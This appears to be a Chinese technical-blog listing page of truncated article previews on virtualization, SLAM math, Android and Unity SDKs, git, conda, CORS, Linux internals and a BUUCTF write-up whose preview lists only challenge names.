    VirtualBox运行Ubuntu系统卡顿提速 亲测有效 附图 亲测有效 卡顿明显减少 欣喜之余 记录备忘 原文教程见下方链接 原文没有图 我把自己操作时的截图放在下面 原文 VirtualBox虚拟机运行Ubuntu如何不卡 记得要把U
  • slam数学基础——最小二乘

    一 前言 1 最小二乘是一类特殊形式的最优化求解问题 相比于其他优化问题 求解方式比较简洁 2 最小二乘被广泛应用于各种实际问题的建模 在求解实际工程问题中有着广泛的应用 例如 slam 中随处可见最小二乘的声影 二 线性最小二乘法 1 预
  • SlideLive:支持图表类PPT模板下载

    简介 在学习和工作中 我们经常需要制作图表类型的PPT SlideLive是一款PPT在线播放和分享的网站 该网站已收录大量的PPT模板 本文主要介绍如何从SlideLive平台下载图表类型PPT模板 下载地址 图表类型模板 SlideLi
  • Unity接入越南社交软件Zalo登录(Android)之SDK接入

    Zalo登录 注册前的准备工作 由于国内网络无法直接打开Zalo页面 因此需要一个较稳定的VPN 创建开发者账号 登录Zalo开发者后台 可以在网页最底部把网页设置为英文 创建自己的应用 1 点击右上角 创建应用 2 创建好应用后记录App
  • 使用FiftyOne下载Open Images指定类别数据

    文章目录 前言 一 FiftyOne Open Images官网链接 二 步骤 1 安装FiftyOne 2 下载Open Images部分类别数据 3 从detections csv中获取下载图片的标注文件 4 可视化图片与标注信息 5
  • Android项目集成穿山甲开屏/插屏/横幅广告教程大全

    Android项目集成穿山甲开屏 插屏 横幅广告教程大全 开发及项目环境说明 Android Studio 2020 3 1 Patch 4 203 7717 56 2031 7935034 jdk11 0 9 Android Gradle
  • Crypto-JS DES加密解密出现的错误

    这几天公司给了一个项目 说为了用户安全性 需要加密 我在网上找了一些加密 发现Crypto JS 挺好的用的 我就用了Crypto JS DES加密 期间出现一些错误 发现这些错误都在我引入的Crypto JS文件里面 刚开始以为文件引入错
  • snpintf()函数会自动添加\0, strncpy()函数不会自动增加\0

    近段时间 在写程序中多次用到snprintf 函数 对于snprintf 函数是否会自动添加 0不能肯定 今天自己就写了一个测试程序进行验证 int len snprintf buf sizeof buf s str 1 当len 的长度小
  • 内核角度谈谈Linux进程和线程

    目录 前言 内核对进程和线程的表示 创建进程的过程 创建线程的过程 创建进程和线程的异同 揭秘 do fork 系统调用 结论 前言 昨天面试的时候 面试官问我了个平平淡淡的问题 gt 聊聊Linux中进程和线程 相比大家不管是在考试还是面
  • OpenWrt系统安全改进<五> --- Web 访问权限分级

    摘要 OpenWrt系统安全改进 lt 四 gt 中介绍的只是在UI层面对用户进行访问控制 对于深层次非法操作并不能起到保护效果 本节介绍针对不同的用户登录请求 使用不同用户启动luci进程 从而实现不同用户进行操作级别的访问控制 机制分析
  • git push -u origin master提示 fatal: repository 'https://gitlab.com/xx.git/' not found

    正解 1 git remote set url origin https gitlab用户名 gitlab com xx demo git 2 git push u origin master 会提示输入密码 输入入正确的gitlab密码即
  • Error tokenizing data. C error: Buffer overflow caught - possible malformed input file.

    data self reader read nrows File pandas libs parsers pyx line 796 in pandas libs parsers TextReader read File pandas lib
  • dl_iterate_phdr

    http www helplib net s linux die 65 1099 man 3 dl iterate phdr shtml http linux die net man 3 dl iterate phdr dl iterate
  • 跨域错误问题has been blocked by cors policy

    这个问题其实是一个跨域调用错误 有多种解决方法 我放到服务器上所以在服务器上的apache的配置文件中修改 一开始以为apache的配置文件是httpd conf 然后发现我压根没有这个文件 在 etc apache2 apache2 co
  • 单手杀穿经典链表题Pt.1——LeetCode天梯渡劫(移除节点,反转链表,中间节点)

    目录 传统艺能 移除链表元素 反转链表 链表的中间结点 传统艺能 小编是双非本科大一菜鸟不赘述 欢迎大佬指点江山 QQ 1319365055 此前博客点我 点我 请搜索博主 知晓天空之蓝 乔乔的gitee代码库 打灰人 欢迎访问 点我 非科
  • 终端配色-Docker容器终端

    20230309 0 引言 平时使用SSH 通常都是使用securecrt来用 毕竟也算是之前windows下一种使用的工具 在mac下使用还算方便 进入终端后 可以通过调整配色来调整编程环境 平时经常使用屎黄色的那种配色 毕竟柔和 偶尔使
  • 计算机的快速启动栏,电脑快速启动栏不见了

    文章目录导航 演示系统及适用范围 演示系统 XP专业版 Windows2003企业版 WIN7旗舰版 适用范围 XP各版本 WIN2003 WIN2008及WIN7各版本系统 xp找回快速启动栏方法 不管是XP或是Winserver2003
  • conda修改环境保存地址

    可以在命令行中通过conda config指令进行修改 如 添加环境目录envs dirs conda config add envs dirs F conda env envs 添加pkgs dirs conda config add p
  • MVC模式、MVVM模式及其区别

    文章目录 MVC模式 MVVM模式 MVVM优点 MVC与MVVM的区别 MVC模式 MVC是应用最广泛的软件架构之一 一般MVC分为 Model 模型 View 视图 Controller 控制器 这主要是基于分层的目的 让彼此的职责分开
  • BUUCTF刷题记录(6)

    文章目录 web FBCTF2019 RCEService GYCTF2020 FlaskApp CISCN2019 华北赛区 Day1 Web5 CyberPunk BSidesCF 2019 Futurella CISCN2019 华东